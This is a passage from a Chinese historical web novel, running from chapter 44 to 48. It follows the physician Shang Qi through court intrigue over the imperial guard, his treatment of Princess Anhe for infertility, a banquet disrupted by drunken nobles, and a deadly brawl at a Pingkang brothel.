“你还是让二叔省省心, 别到时候还要他替你上门赔礼道歉。”别此云叹了口气,他二堂兄也不是不聪明, 但一惯能动手就动手, 小时候家里长辈没少为此登门赔罪。 “赔礼道歉也要知道是我揍的, 夜里走一趟平康坊, 套个麻袋谁看得见是我。” “世家子弟在人地盘上挨了揍, 恐怕生意都难做下去。”显然别此云不太赞同他二堂兄敲闷棍的做法。 “你啊,还是这么心善, 平康坊里的做生意的人哪个没点背景,而且他们手里没一个干净的,真要是出事,也是罪有应得。” “那二堂兄你就不要以我的名义去敲人闷棍, 直说是想为民除害不就成了。” “得了,不同你开玩笑了,今日过来也是好久没瞧着你,得亏你没嫁人,像四妹,我想见她还得去趟她夫家。”别景和的亲妹妹也就比别此云小几个月,但定亲早,去岁成亲别景和在军营都没赶上。 “吟霜若是知道你已经到家,定会回府。”别此云说着理了理衣裳,没追问别景和为什么这时候回长安。 “听阿耶说,她有孕在身,哪里能让她跑一趟,还是我自己去,正好也和妹夫活动活动筋骨。” 别此云对二堂兄的武夫行为已经习惯了,也不知道尚柒能不能打的过二堂兄:“那二堂兄这次回来要留在长安多久?” “等把手头的事忙完,再看陛下安排,若我猜的不错,可能会留在长安入禁军营。”别景和只略微解释了一句,没有细说。 看来别景和突然归长安,的确是广运帝的意思,只是朝中武将众多,别景和凭借别家的门第,在军中混了个不错的官职,但远不到入广运帝的眼才对。 怎么会突然想着把人召回来办事,且事情办完了还要入禁军做事,按说别景和属于别家,外人看也是太子党。 本来禁军就有被太子调动的可能,这时候再安插一个明里是太子方的人手,广运帝不怕寝食难安? “想什么呢?”别景和同别此云说了半天话,结果这个小哥儿压根没在听,一副神游天外的模样。 “没想什么,只是昨夜没休息好,精神不济。”这话不假,只是休息不好的原因不是心有琐事,而是因为太高兴了。 “我过来扰了你的清净?”别景和敲了一下别此云的脑袋,“得了,我也不惹人嫌了,从你院子出去我还要去看吟霜,你继续休息。” “二堂兄慢走。”别此云送走了别景和,又唤来琴砚,“给尚柒送个消息,下午到我的外宅,我有事同他商议。” “是。” …… 尚柒收到消息的时候,正在听冯风汇报禁军的消息。 这段时日,尚柒的人手凭借别此云的消息,接近了不少本事不错奈何出身不够被打压的人才,又仔细挑选了几个可能被撬墙角的,连带着家里人都在织坊做事。 如此先不说把人撬到西南,光是探听一些禁军内部消息都方便了不少。 “听禄石兄弟的话,长安禁军不日会有一批地方上的兵丁入营。” 这事说来蹊跷,因为禁军地处长安,平日只管长安以及周边的安全,少有出远差的时候。 比起边军,天子脚下待遇好了不少不说,也没什么性命之忧。 地方出身的将军倒也能入禁军,只是少有地方兵丁被编入禁军的,因为军营规制在那里,长安的禁军撑死了五万多人马。 而听冯风的话,地方上的兵丁绝计不是小数,禁军突然增兵,说是牵一发而动全身也不为过。 “地方兵丁,多半是私兵。”不然他想不通无缘无故广运帝为何会调地方兵丁入长安,“有说是哪个地方的兵丁吗?” 齐王、平王、晋王三人的封地并不靠近,平王的私兵已经被他们吃了,剩下齐王晋王二人,尚柒更偏向齐王手里的底牌被广运帝撬出来了。 “不清楚,听禄石兄弟的意思,上面武官们得了广运帝的暗示,但恐怕也对广运帝的安排并不知情。” “私兵编入禁军,数量超过禁军规制,原本禁军的人可能会被迫离营。”都说当兵苦,其实也分哪种兵,若是镇守边关,一年到头俸禄都养不活一家人,还有随时丧命的危险的边军,自然不如回家务农,再怎么说能保全性命。 但长安禁军又不一样,单是俸禄就足够一家吃喝,平日再寻摸一点油水,退役前攒一点家底不成问题。 “东家,私兵再怎么样也比不过禁军才对。” “这话就错了,论战力,各位王爷私下养的兵比禁军只好不差。”长安禁军军饷还要过几道手,叫人上面的人拿些油水,私兵都是王爷自己出钱,要的就是兵强马壮,不然养着好看吗? 再说私兵被搜查出来,为了安全广运帝绝对不会允许私兵活着归家,至于要杀,也不是不行,但广运帝还有个东征突厥的美梦,养的好好的兵力,怎么会浪费掉。 “将地方私兵安插进禁军,广运帝难道不怕这些私兵继续为各位王爷效力?”冯风实在是弄不懂广运帝打的什么算盘。 “就如我先前说的,谋反是掉脑袋的勾当,广运帝肯给他们一次机会进禁军做事,只要脑子清醒的都知道该如何选择。” “那禄石兄弟他们会被禁军赶出来吗?” “不一定,但有这个可能。”若真的把禁军原本的兵丁裁掉,对尚柒来说是天降横财。 不过也是尚柒应得的,若是没有尚柒揭穿蔺家和五皇子的密谋,恐怕广运帝会一意孤行发兵突厥,此战必败,到时候各位皇子估计会加快争权夺利的步伐,说不得最终赢家就是一向低调的庄王呢。 “那咱们要把这个消息告诉禄石兄弟他们吗?” 尚柒摇头:“此事无凭无据,只是我的猜测,贸然说出去后果不堪设想。” 广运帝肯定希望这事悄悄的办,而禁军中原本做事的兵丁知道会被赶出军营,说不准会做出什么昏招,到时候惹恼了广运帝性命都不一定保得住。 “东家说的有理,我会瞒着他们。” 冯风离开后,尚柒敲了敲桌面,看广运帝的安排,还是有意继续东征突厥,他最好在广运帝发兵前离开长安这个是非之地。 —————————— “你倒是舍得。”尚柒到别此云的外宅,从书墨口中得知周围几处宅院都被别此云买下,可以说是狡兔三窟。 “若不如此行事,怕早就被人抓了把柄。”别此云取下帷帽,“请你过来,是有事同你说。” “巧了,我也有一桩事要告诉你。” “心有灵犀?”别此云开了个玩笑。 “心有灵犀。”尚柒说着将手信送到别此云面前,“上面只是我的猜测,未曾有实证。” 别此云看过,压下心中的震惊:“单一个消息,你就推测出这么多,若是在朝为官,他日官居宰相也不难。” “你不如恭维我能在大理寺有一席之地,为官需要的是揣摩人心,最好还会拍上司马屁,这两样我都不会。”主要是尚柒上辈子还没经历过社会的毒打,没学会怎么趋炎附势。 “我这里也有个消息,我二堂兄原本在江南军营,前不久收到消息归长安,也说事了可能留在禁军。 侦探,看出什么了吗?” “大抵和我猜测的私兵有关系。”说不得别此云的这位二堂兄就是缴获私兵的关键人选。 “我也这么认为。”这事对别此云来说不算好消息。 “你二堂兄入禁军,对你们家不是好事,太子一旦有什么把柄被抓住,你们家就是最大的靶子。”别家原本只是文臣,就是出了个武将官职不高,也入不了大人物的眼。 现在这位武官入了禁军,别家就要成为太子党最大的眼中钉。 “官海沉浮,早就脱不开身,我唯一能做的就是给别家寻一条后路。”自古党争没有善了的,别家是长安棋盘上的棋子,入不入局自己说了不算。 “也对,你若在西南根基扎稳,就是别家在长安出事,也能支援一二。” 尚柒盘算,别家大抵不会成为乱臣贼子,如此满门抄斩的几率会很小,只要人活着他们就有办法将人弄到西南。 “不提这个,我已经让书墨安排,第二批粮草会尽早送到应州。” “西南正是多事之秋,你的人最好走小路,或是伪装成商人走水路,我的人会在应州接应,避开广运帝的耳目。”应州是尚柒的地盘,避开广运帝的人马并不难,再说等这批物资入应州,广运帝的人马只怕也该撤离的差不多了。 “我会着手安排,你的应试资格拿到了吗?”虽然科举之事还未迫在眉睫,但他兄长私底下催促了好几次,若尚柒再不行动,他兄长就要出面会会尚柒了。 “快了,让你兄长放心。”尚柒这段时日也没白看病,再加上从西南送来的各类药丸,换一个科举资格并不难。 “他没那么快放心,等你的资格拿到手,大抵会私下给你补课。” “……”怎么突然倒回学生时代了。 第45章 尚柒送走今日最后一位看诊的夫人, 由得尚乌桕跟着一块整理余下的药材。 “阿兄,近来药丸消耗的也太快了,难不成每一个过来看诊的娘子郎君都买了咱们的药?”尚乌桕也不是时时跟在尚柒身边实践诊脉, 过来看病的娘子郎君也多没什么大病。 大部分还是来瞧不孕不育的, 不过照尚乌桕看过的脉来说, 大部分娘子郎君都没有问题, 一直怀不上孩子多半是儿郎不成器。 “有一些送出去了。”尚柒一边做事一边回话,“今日的脉案不多,记得及时整理出来。” “知道了。”尚乌桕小声哀嚎,因为他不爱整理脉案,等他有朝一日出师, 也收几个徒弟来帮他整理脉案。 “明日不看诊, 若是今日将脉案整理完, 明日随你去哪里玩。” “当真?”尚乌桕扭扭肩膀,因为看诊的事, 他都好久没出去玩了,苏长屿也知道他忙, 都不敢过来打扰。 “我什么时候说话不算话了?”尚柒停下手里的事, 好奇的看向乌桕。 不就是让人跟着学一学实践经验吗?怎么还把他的信誉一块看没了。 “阿兄自然说话算话, 但我是太惊讶了, 自打有娘子郎君上门看病, 咱们家就少有空闲的时候,还当阿兄你不会将病人拒之门外。”以前在西南也没见这么忙过, 且西南上门看病的豪强,多是重疾,小病小灾都不会千里迢迢过来,毕竟阿兄的诊费真的不低。 “长安城不止我一个大夫, 虽说大部分大夫本事有限,但能登门看病的娘子郎君必不会缺了好大夫。”能吸引这么多权贵人家登门,都是靠炒出来的名声,一些寻常病症,尚柒开的药方不见得比长安有本事的大夫好。 “明日阿兄你有什么打算?”一说休息尚乌桕还有些不习惯,也许这就是阿姊闲不下来的原因。 “有点私事。” “什么私事,我这个做弟弟的也不能说?”尚乌桕一听到私事耳朵都要竖起来了。 尚柒轻哼了一声:“说自然能说,不过得过些日子。” “好事还是坏事?”尚乌桕迫不及待的追问。 “对我不好不坏,对你、”说到此,尚柒想了想,“应该是好事。” “那我等阿兄的惊喜。” 尚柒瞧着尚乌桕连蹦带跳的喜色,摇头:“小孩心性。” 翌日。 尚柒换了身打扮,去了公主府。 按尚柒的名声自然还接触不到公主这一层次的贵人,到底大历的太医都有真本事,三灾六病看不好早掉了脑袋。 不过随着过来看病的娘子郎君一多,其中不乏有身份尊贵的娘子郎君可以替尚柒引荐。 自然,一个做大夫的能被引荐,就得主人家有人生病,这年头除非瞒不过的大病,其余小病多喜欢藏着掖着,更不说皇家。 但要打听这些人是否有病其实也不难,主要是后宅的娘子郎君对这些事了如指掌,若能得她们亲近,稍微透露一二也足够尚柒选择谁最适合作为目标。 谢琅送的这个人情他是记下了。 安和公主是广运帝的大女儿,深的广运帝喜爱,挑选的驸马也是天资出众的才子,只是婚后二人一直无子。 无论是求神拜佛,还是寻医吃药,都不见成效,所以尚柒又来瞧不孕不育了。 只是这次他不光看安和公主,驸马也得一块,到底是公主底气足,能够叫夫婿放下面子看诊。 没见到人,尚柒话也不敢说死,毕竟有些不孕不育的病症光吃药是不行的。 “可是常乐坊的尚大夫?”门口候着的嬷嬷见一相貌俊朗的儿郎打马车下来,上前询问。 想是公主府的人已经打探过尚柒的模样,并不觉得尚未及冠的儿郎看诊是胡闹,反而待人有礼,由仆见主,这位安和公主大抵不是难缠的病人。 “正是。”尚柒手里拿着药箱,跟着公主府的嬷嬷进去,公主府的占地不及皇子,但在寸土寸金的长安有一处占地超过百亩的府邸,可见安和公主在广运帝心中占的分量。 到了接待客人的厅房,尚柒打眼看见的就是身着华贵的安和公主,即便公主身边作陪的驸马亦生的金质玉相,但和安和公主相比,气势上输了不止一筹。 “这便是近来长安城中名声正盛的尚大夫。”安和公主放下手里的茶杯,示意手下的侍人看座,“听曲张两位娘子说,尚大夫医术高明,今日请尚大夫过来,给我和驸马瞧瞧。” “公主过誉了。”尚柒说着观察安和公主和驸马的脸色,有了一个初步诊断。 “我从不说过誉之言,听闻尚大夫在西南行医,非千金不诊,但上门的病人依旧络绎不绝,可见尚大夫的确医术高明。 我与夫君成亲三载,至今无嗣,纵然我是公主,也不好叫夫君后继无人。” “安和说的哪里话,若你我夫妻注定命中无子,何必强求,要是安和喜欢小孩,可在族中选一个聪明伶俐的幼儿过继就是。” 初听这话,还当是夫妻二人浓情蜜意,但尚柒受过大数据荼毒,一眼看出这位驸马有几分茶意。 “尚大夫还是先勘脉吧。”显然安和公主不吃这一套,而驸马也跟着闭嘴,安安静静的坐在一旁当木头美人。 诊脉前尚柒心里偏向是驸马的问题,毕竟看二人脸色,公主明显比驸马要健康,时下儿郎又常饮酒,通宵寻欢作乐也是常有的事,自然问题多半出在儿郎身上。 看完安和公主的脉象后,尚柒又把上驸马的脉,目光不由得落在驸马那张好脸上,这何止有身体亏空的问题,近来夜夜笙歌,还能站起来都是体质好的。 刚刚安和公主的脉可没看出来二位房事如此激烈,看来这位驸马不光有点茶,还在外偷吃。 许是尚柒的目光过于诡异,驸马不由的打了个寒颤后,错过尚柒的目光,不孕不育宫里的大夫也不是没看过,都说了他身体没问题,总不能一个民间大夫冒出来,转头赖上他。 收回手,尚柒没有立刻开口,反而转头看了一眼安和公主,询问是否要实话实说。 安和公主向驸马抬了抬下巴,驸马就不情不愿的离开了。 “尚大夫,有话直说。” “看二位脉象,并非不能孕子,只是驸马的身体虚弱,才导致孕子的概率不大。”也是没有现代的检查机构,不过驸马的质量能过百分之四,尚柒立刻避诊,再不做大夫。 “所以是驸马的问题。” “算是,若二位真想要孕子,首先需要将驸马的身体养回来。”不过凭借尚柒对大历儿郎的了解,多半是不成的。 “既然尚大夫这样说,我和驸马便按照尚大夫说的做。”安和公主并未怀疑尚柒的看诊结果,“至于驸马身体虚弱,尚大夫能看出是因为什么吗?” “除开平日饮酒熬夜外,最要紧的还是房事过多。”尚柒一惯实话实说,果不其然看见安和公主右手突然紧握成全,面色却不变,看来早有心里准备。 “多谢尚大夫告知。”安和公主几个呼吸间稳定神色,又道:“不知尚大夫这次诊金要什么?” “瞒不过公主,我的确有所求,再有三四个月又是一年科举,奈何我商户出身,所求不过一个能够参加科考的资格。” “既想入仕,便不该行医。”时下大夫在朝中官位不算低,但没哪个正经文官武将是大夫出身的。 “公主所言极是,不过我求参加科考的资格不为做官。” “既要科举,不为做官为什么?”安和公主还是头一次遇上这样的人。 “为一个资格,能够求娶所爱之人的资格。”尚柒说的坦荡,反而安和公主是没接上话的人。 “不知这个要求公主可为难?” “既是有情人,我哪有不成人之美的道理,尚大夫且安心回府等我的消息。”安和公主难得露出一个笑意。 “多谢公主成全。” 自公主府出来,尚柒算是了却一桩要事,本打算直接回常乐坊,不想半道却遇上谢琅的马车。 “尚兄,也是有缘,半道都能遇上。” “谢少爷是要去金玉满堂?” “不错,今日请了几个朋友,说来尚大夫可得空,一块去热闹热闹。” “不必了,谢少爷与朋友聚会,我一个外人掺和岂非是坏了你们的交情。” “尚兄哪里的话,不过都是些酒肉朋友,能有什么交情,若是尚兄不跟来,只能我一个人受苦了。 况且这次我邀请的人里,正有柳家那位风头正盛的才子,作为科举的竞争对手,尚兄不想打探打探敌情?” 若只有前一句,尚柒多半是会拒绝,可谢琅歪打正着提到柳确,就让尚柒起了点好奇心。 “谢少爷话都说到这个份上,继续推迟,倒是我的不是了。” 谢琅得了准话,眉眼露出喜色:“今日有尚兄作陪,宴会肯定比之前有意思。” 第46章 谢琅是金玉满堂东家的事, 在长安上层并不是什么秘密,这也是大部分世家子弟都不敢在金玉满堂闹事的原因。 谢琅背靠谢家,皇帝都轻易拿捏不了, 一般世家子弟哪会去找这个霉头, 当然了, 遇上萧柳这等世家的纨绔, 就有谢琅头疼的。 三楼的包房一如既往客满,谢琅带尚柒到聚会的包房时,客人都已经到了,打眼看过去,都不认识。 不过也是, 今日上衙, 世家中有出息的都混了个一官半职, 像谢琅这样有本事却不想入朝为官的不多,其余不是纨绔就是草包。 “谢十三, 你怎么又迟到了,咱们酒都喝了三轮了, 今日必要罚你。”不等尚柒进门, 就有人见谢琅到了门口, 拎了个酒壶就满身酒气的过来。 “罚我什么?喝酒?那可是在奖励我。”谢琅酒量很好, 堪称千杯不醉, 满屋子人加一块都不见得能喝过他。 “滚蛋,谁不知道你的酒量, 罚你过来吟诗作对,输了记得给酒钱。” “金玉满堂都是我的,你们就是吃白食难道我还要上门讨要不成。”谢琅走进屋,选了个座。 “你也不是干不出来, 这位是?”寒暄过后,屋里总算有人瞧见尚柒了,要说这一屋子,都是萧谢王崔出身,如今加一个柳确,算是将大历最有名望的五个世家凑在一块。 突然冒出个陌生人,的确引人注意。 若是中等世家或是小世家也就罢了,顶多当谢琅的跟班,偏在长安久混几个世家子还没把人认出来。 “我朋友,路上遇见拉来陪我解闷。”谢琅不开口介绍背景,其他几人也识趣的不问。 “怎么,跟我们聚会这般无聊?”崔五郎仰倒在椅子上,对谢十三的话颇有些不满。 “同你们聚会,不是饮酒,就是划拳,我这人好附庸风雅,怎么不算无聊。” “哼,叫你泛舟游湖、曲水流觞你也没见出来过,这会子玩点俗气的东西你倒是来了,还反咬我们一口,今日可是给柳九郎接风洗尘的宴会,别扫兴。” “我人都到了,还算扫兴?再说了,你给柳九郎接风洗尘,人九郎乐意你打他的名头吗?”谢琅不客气的回怼,本来在座的各位感情都是散装,不必要那么客气。 “怎么不乐意,你以为都跟你一样。”崔五还要继续说什么,一旁的王六郎就给了他一肘,示意人往柳九郎那边瞧一瞧。 不看不知道,一看吓一跳,柳九郎打入包房来,就被劝着喝了几杯酒,虽是醉人的青麦酒,但在场的诸位都是能喝的主,谁也没料到柳九郎的酒量这样浅,这会子已经半醉了。 “宴还没开始,接风洗尘的主人就被灌醉了,还说你不是打着柳九郎的名头胡闹。”谢琅没忍住笑出声,然后转头对上尚柒,“本还想介绍柳九郎和你认识,这会子柳九郎人不清醒,只怕介绍了也记不住。” 看了半天热闹的尚柒听谢琅这么说,收回观察柳九郎的目光。 “本也是过来长长见识,今日不得空,日后总会见面。”他也不是一定要认识柳确,只是有些好奇柳确长什么模样。 “也是,参加科举的事办妥了吗?”谢琅没有理会几个世家子的邀请,自顾自的同尚柒说话。 “一半。”安和公主既然已经答应他,没有半道反悔的理由。 “托的哪家关系?”谢琅有些好奇。 “安和公主。” “这才多久,你人脉都发展到安和公主身上了。”谢琅真没想到尚柒竟然托到安和公主头上,“是献的干谒诗,还是用的医术?” “医术。”看来安和公主求子在上层圈子不是秘密。 “有把握?”谢琅可是知道安和公主看了不少大夫,其中不乏远近闻名的各位名医,光看安和公主至今未孕就知道没效果。 “本也不是什么大病。”甚至安和公主连药都不用吃,如果换个夫婿,说不得安和公主的孩子都能爬了。 “天下名医都没办法解决,你说不是什么大病,看来我是小觑你的医术了,尚兄乃是神医才对。”谢琅做出一副肃然起敬的表情。 “再好的大夫也要治对病人才能发挥医术,看错了病人,哪怕药开的天花乱坠,也是对牛弹琴。” 谢琅听了尚柒的话,沉吟片刻,尚大夫这是话里有话。 “我在平康坊见过几次驸马,该没什么隐疾才对。” “非是只有阳事不举才无法孕子,连你不常去平康坊的人都能撞见驸马几次,可见驸马身体亏空的厉害。” 本也不是什么身强体壮之人,还如此好色,的确很难有后。 “这也影响?”谢琅还是头一次听闻此事,长安城里的酒色纨绔数不胜数,也没见他们无子,但子嗣的确不丰。 “概率问题。”真要好命,哪怕无精症都可能有后代,不过概率很低。 “若安和公主真在你的治疗下有孕,日后登你门的娘子郎君恐怕只多不少。”他往日跟他娘一块求神拜佛的时候,可是看见送子观音那头的庙宇排着长队呢。 “除非她们能叫上夫婿一块,不然我也空有医术,没有施展拳脚的余地。”尚柒不想真成为一个专治不孕不育的大夫。 “那可难了。”男子好面,就是真晓得自己有问题,也不愿意看诊。 尚柒和谢琅聊的热络,陡然听得门外传来一阵喧哗声,而后又是一阵凌乱的脚步。 “又是哪个不长眼的来我这儿闹事。”谢琅眉心露出狠厉,听动静就在三楼,说明来客的身份肯定不会低,他最烦处理这些纨绔闹事,“你们先喝着我且去看看。” 谢琅大步流星的出门,尚柒没跟着去,原本在一处喝酒的崔五王六就凑了过来。 “来了这么久,还不知兄台的名字?”王六郎刚刚就暗戳戳看过好几回尚柒,抓心挠腮的想弄清楚尚柒的底细。 毕竟谢琅此人不喜和人深交,他们几个能混在一处,多还是和家世相关,今个儿能见一个叫谢琅亲口承认的朋友,如何不叫人惊讶。 “姓尚,单字一个柒。”别看尚柒这名简陋,实在大历寻常百姓取名就是这么简单,尚柒在尚家这一辈排行第七,得了这么个名。 “行柒?” “不错。” 世家子弟之间虽然称呼各自的排行,却不会以排行做名,尚柒一个名字就暴露了出身。 这更引得崔五王六吃惊,寻常百姓出身,如何攀上谢琅这根高枝的。 “我猜你们在想一些不妙的事。”尚柒轻言提醒,虽然知道世家子弟乱起来乌烟瘴气,但他不想跟着同流合污。 “尚兄哪里的话,我们只是疑惑尚兄是如何结实谢十三的。”被人当面挑明,崔五被青麦酒熏的微红的脸上露出尴尬的神色。 “因为生意。” 生意,崔五和王六一副恍然大悟的模样,是了,谢十三喜欢做生意,结交一些生意上的朋友再正常不过。 一下失去了兴趣的两人垂头丧气的回到桌面上,立刻被拉入下一轮酒会中,少了两个扰清净的人,尚柒也跟着松了口气。 又过了一会,金玉满堂的掌柜到了包房,请尚柒和柳确出去一趟。 尚柒一顿,请他多半是有人受伤,好端端的请柳确做什么?这会人都不一定清醒,莫不是受伤的人里有柳确认识的? 怀着疑惑,尚柒被引到距离不远的一个包房,谢琅站在门口面色铁青,而谢琅面前正横七竖八躺了几个人,光闻气味,就知道没少喝酒。 “怎么了?” “尚兄先进屋去给受伤的小哥儿瞧一瞧,我这边等万年县的人过来。”谢琅说着恶狠狠瞪了一眼倒地不起的几个纨绔,若眼神能杀死人,地上躺着的几位已然尸骨无存。 “谢少爷派个人去楼下我的马车拿药箱上来。”说着尚柒进了包房,里头是三个哥儿,看穿着其中两个是侍人,余下正在哭的那位,是主子。 “我是大夫,哪里受伤了。”尚柒开口,惊动了三个哥儿,其中两个突然瞪圆了眼睛。 这是认识他?尚柒回忆了一下,脑海中并未有相熟的身影,他确信不曾见过这三人。 “有哪里受伤了吗?”尚柒再追问,为首的哥儿才半止住哭声,露出被抓伤的胳膊,伤口不深,若是一般百姓都不必管,让它自然愈合就是。 可瞧眼前哥儿的穿着,必定是锦衣玉食长大的,不能放着不管。 “谢少爷已经遣人去取药箱了,等会我给你处理。”尚柒话落,身后响起了脚步声,来人不是拿药箱的小二,而是刚刚被拉去清醒的柳确。 “表哥。”原本已经止住哭声的小哥儿见着人,立刻扑到人怀里,又哭了起来。 所以,这位就是上次在曲江池跟踪和他此云的哥儿,难怪刚刚见他是那副模样。 长安城有小一百万人口,就算他活动范围是大部分世家子弟活动的地方,但能一而再,再而三的遇见,也是一种缘分,改明儿说给此云听,估计要叫人乐开花。 不过,看柳确低声细语跟小哥儿说话的模样,不像是没有情谊的样子,既然情投意合怎么还要打别人的主意。 想到此,尚柒微皱了眉心。 第47章 药箱送了上来, 尚柒取出里面的自制酒精和棉签:“这位小哥儿,还是先处理一下伤口为好。” 叶栖慢慢止住了哭,先看了一眼柳确, 才把胳膊伸出来。 “会有点疼, 忍着点。”尚柒觉得世家公子的忍疼能力有限, 酒精消毒的疼痛可比伤口本身疼多了, 不提醒一句指不定要疼的乱动。 不等人回答,尚柒取过棉签蘸了酒精开始消毒伤口,果不其然听到了抽气声,但还算老实没有挣扎乱动。 “好了,回去少碰水。”这点伤口就不必开白药了。 “多谢大夫。”柳确刚才在宴上全程醉着, 自然认不得尚柒。 “举手之劳。”说着尚柒跨步出了门, 只见谢琅的脸色已经恢复, 但看满地纨绔的目光依旧凶残,大抵心里憋了一股火气没地儿发泄。 “可是这群醉汉调戏了里面那位小哥儿?”只看凶手和受害人, 尚柒已经把事情经过猜了个七七八八。 “不错,叶哥儿没事吧?”谢琅也不是没见过急色的世家子弟, 但大部分还知道分寸, 哪些人能动哪些人不能动。 能到金玉满堂三楼的姑娘哥儿哪个身后没点背景, 竟敢当众拉入进屋, 若不是小二机灵叫了掌柜过来, 这会谢琅可以准备给这些家伙收尸了。 叶家的哥儿是那么好动的吗? “只一点抓伤,已经处理了, 万年县的人还没来?”亏得是金玉满堂,酒楼的掌柜小二都知道东家身份背景硬,不然可不敢胡乱拦人。 “他们这群人办事磨磨蹭蹭,估计听闻是金玉满堂来报案, 都在推诿谁来办差。”谢琅语气带了几分嘲弄,可见对万年县里的官差看不上。 “还是通知叶家人直接对万年县施压为好,就算不能按律查办,也能叫他们吃些苦头。” “已经请人去通知了。”叶家主脉不在长安,但在长安为官的叶家人又不是没有,谢琅肯定是不想接这个烫手山芋,还得叶家人自己处理。 “看来宴会不能继续了,没别的事我就回府了。”继续留着看万年县处理这些纨绔也没什么意思,谢琅也不是三岁小孩要人作陪。 “是我的不是,改日在金玉满堂再摆一桌酒宴给你赔罪。”谢琅语气中满含歉意,本来好好的聚会被一群纨绔扰了,谁都不高兴,尚柒这会离开也是应该的。 “好,我等你的好宴。” 等尚柒一走,柳确才安抚好叶栖脱身出门,目光先是落在满地喝醉的世家子弟上,虽没说什么,但谢琅瞧着柳确的眼神恨不能打折了这些人的手脚。 “九郎,是我的不是,叶哥儿可还好?”谢琅其实不认识叶栖,毕竟叶栖不在长安长大,来了长安也只参加过娘子郎君的宴会,不过叶栖也不傻,遇到了这种事自然先报家门才能叫人晓得厉害。 “不太好,这些人我会处理,多谢谢兄帮忙。” “九郎哪里的话,你我两家也是世交,直接叫我谢十三就是。”柳确愿意接手,谢琅自然是没有不愿意的。 他还记得他自己的宴上还有几个醉鬼没处理,可别也惹了什么事端,最后要他出面扫尾。 …… “东家,楼里出了什么事?”张阿大守在马车边,方才有楼里的小二过来取药箱,可把他吓了一跳。 “不是什么大事,有人醉酒闹事。”尚柒坐上马车,“回府吧。” “诶。” 马车刚赶到道上,尚柒就听见一阵整齐的脚步声,透过车帘的缝隙一看,果然是万年县的衙役来了,不过瞧个个愁眉苦脸。 “东家有所不知,金玉满堂一个月总要去万年县报几回案,每次送去的犯人来头都不小,现在万年县的人都怕了金玉满堂。”张阿大听到东家低语搭话。 “是其他车夫说的?” “东家英明,这些世家赶车的车夫闲得无聊,平日也聚在一块聊天,我跟着听了一耳朵。”他不是专门收集情报的,但能多干的点事也算对得起东家给他的工钱。 “还说了什么趣事吗?”世家间的八卦,贴身跟着的下人最清楚,只是一般不会外传,能够八卦的消息多无伤大雅。 “还说了些平康坊的事,不过都是说哪家新来的舞娘好看。”平康坊都是贵人玩乐的地方,下人们自然消费不起,不过跟着主人出去,总是沾点光,饱饱眼福还是有的。 尚柒闻言并不意外,这些世家养出来的下人,尤其是家生子,个个都知道分寸,轻易打听不出什么。 此时尚柒还不知道,今日长安并不止金玉满堂一处热闹,到了夜里,平康坊还有更大的热闹。 …… “几时了,我记得坊门已经关闭,怎么还能听到街上有吵闹声?”夜里寂静,梧桐苑虽然不靠近外院,但其中一面墙距离外院不远,外头动静大了,在梧桐苑也能听见。 “外面天色已经黑了,闭坊有些时候了。”琴砚也不知内情,只遣了人到街上瞧一瞧。 等了一炷香,外院传了消息回来,说是宣阳坊几个世家赶去平康坊,闹了会动静,这会已经停了。 宣阳紧邻平康,不少宣阳坊的世家子弟都仗着离家近,夜宿平康坊,白日赶着坊门大开回府,借此瞒过家里人。 “坊门这会儿开了?”平康坊出事,若是小事哪里用的着夜里坊门关了还惊动世家。 “开了近平康坊的坊门,公子可是要遣人过去瞧一瞧?” “不必。”这会宣阳坊几个世家多半已经到了平康坊,他们的人想要浑水摸鱼跟过去并不容易,听闻尚柒有人手常出入平康坊打听消息,他不必赶着凑这个热闹,“看见万年县的人了吗?” 这么大的事,万年县不可能不动作。 “看见了,坊门就是万年县的人开的。”不然就是世家少爷,也轻易不能在宵禁出坊,当然了,朝中有几位有权有势的大人物,家里直接在里坊的墙上开了门,宵禁想要进出里坊,完全不必过坊门。 “下去休息吧,今夜平康坊大抵没人睡得着。” 平康坊里,最大的青楼玉满楼这会可算是人满为患。 夜里留宿平康坊的世家子弟几只手都数不过来,出了这么大的事,原本寻花问柳的纨绔们也不和舞娘亲热了,一个个都站在前排看热闹。 有人细问究竟出了什么事,知情的不知情的你一言我一语,反而将事情闹了个糊涂。 杜菽已经就寝,哪想还是被从被窝里拉出来,这事在他任职万年县县令期间,也发生过几回,但最后都轻拿轻放,没闹出大乱子。 今个儿就不行了,他收到消息的时候,玉满楼已经出了人命。 只是楼里舞娘或是商人没了,也就罢了,偏死的是世家子弟,还不止一位,他这个万年县县令已经不够格了,京兆尹来了估计都要汗流浃背。 “白日金玉满堂才送了几个纨绔过来,柳家叶家施压,得收押一段时日,夜里玉满楼又出了事,我看不是巧合。”白县尉也是匆匆从家里赶过来,衣裳都没时间整理妥当。 “金玉满堂背后是谢家人,玉满楼背后更是有大背景,谁这么不长眼敢得罪这两家?”杜菽不认为长安里有这么不长眼的,“参与这次斗殴的世家大人都请来了吗?” “都遣人去通知了,住在宣阳坊的几位先到了,还有些比较远,暂时没过来。” “原因查清楚了吗?”杜菽过来的时候,下面的人只说了平康坊有世家子弟斗殴出了人命,至于为什么斗殴他人都到这儿了,还没谁给个原由。 不过都在玉满楼了,总归不是平日有了龃龉,喝了酒上头打架,就是为了争玉满楼里哪位姑娘哥儿,翻不出什么新意。 “下面的人已经去过问了,多半还是和楼里姑娘哥儿有关系。”白县尉没少处理平康坊的事,长安城里的纨绔最喜欢争美,玉满楼里的姑娘哥儿个个都是花大价钱培养的,有人争抢也不是新鲜事。 “为了美色把命都搭进去了,要不是玉满楼背后有人,今日就该查封歇业了。”杜菽冷哼,他也是世家出来的,最看不上这些贪恋美色的家伙,好色是人之常情,但为了美色如此冲动,不堪大用。 “大人,咱们还是想想怎么和过来几位世家大人交代为好。”白县尉捅了捅杜菽的腰,示意杜菽朝远处看。 明眼人见着几个过来的大人个个脸色铁青,死人的世家还没来人,不然已经有人压着他们过问了。 “我一个五品县令哪里拦得住,等京兆尹过来,让他拦。”死的世家子弟背景比他硬,他哪里拦得住。 还在赶来的路上的京兆尹突然打了个喷嚏。 “大人,可是夜里凉了?” “不必,许是哪位同僚在念叨我。”京兆尹锤了锤后背,他这一把老骨头可经不起几回折腾了,等这次事了,干脆向陛下提致仕好了,眼瞧着长安城的水越来越浑,他还想有个晚年好过。 第48章 京兆尹的到来, 让局势暂时得到控制,玉满楼今夜的生意是做不成了,等差役一个个盘问完, 还要抓几个倒霉蛋跟着回衙门。 看热闹的世家子弟自然没人敢驱赶, 若其中藏了萧谢这等世家的少爷, 就是京兆尹也不敢轻易得罪, 更不说听命办事的官差。 “东大人。”杜菽见京兆尹从几个世家跟前脱身,立刻迎了过去,“局面暂时控制住了,只是没气的几位可要拉回万年县由仵作出面验伤?” “尸体他们要带回去,左右都咽气了, 